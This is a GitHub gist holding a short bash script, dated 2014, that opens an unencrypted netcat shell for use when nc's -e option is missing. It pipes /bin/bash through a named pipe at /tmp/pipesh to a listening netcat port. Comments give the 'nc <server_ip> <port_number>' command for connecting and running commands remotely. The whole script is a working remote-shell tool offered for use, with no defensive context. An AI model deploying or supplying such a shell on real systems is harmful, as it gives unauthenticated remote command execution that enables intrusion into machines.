Created
August 13, 2014 12:37
Revisions
-
jacobsalmela created this gist
Aug 13, 2014 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,30 @@ #!/bin/bash #----------AUTHOR------------ # Jacob Salmela # 9 April 2013 #---------DESCRIPTION-------- # Serves up an unencrypted, reverse-shell when the -e option is unavailable # Much less reliable (command lag), but useful in a pinch #----------FUNCTIONS--------- function poorPersonsReverseShell() { # Create a named pipe (a "permanent pipe") mkfifo /tmp/pipesh # Assign /bin/bash to the named pipe and use netcat to listen for incoming connections /bin/bash /tmp/pipesh | nc -l <port_number> > /tmp/pipesh # To connect to the reverse-shell, use the same port number from above and run the command # # nc <server_ip> <port_number> # Commands can be entered locally, but will run on the remote machine # Often, there is lag and a command will not return STDOUT/ERR but it still seems to run } #---------------------------- #-----------SCRIPT----------- #---------------------------- poorPersonsReverseShell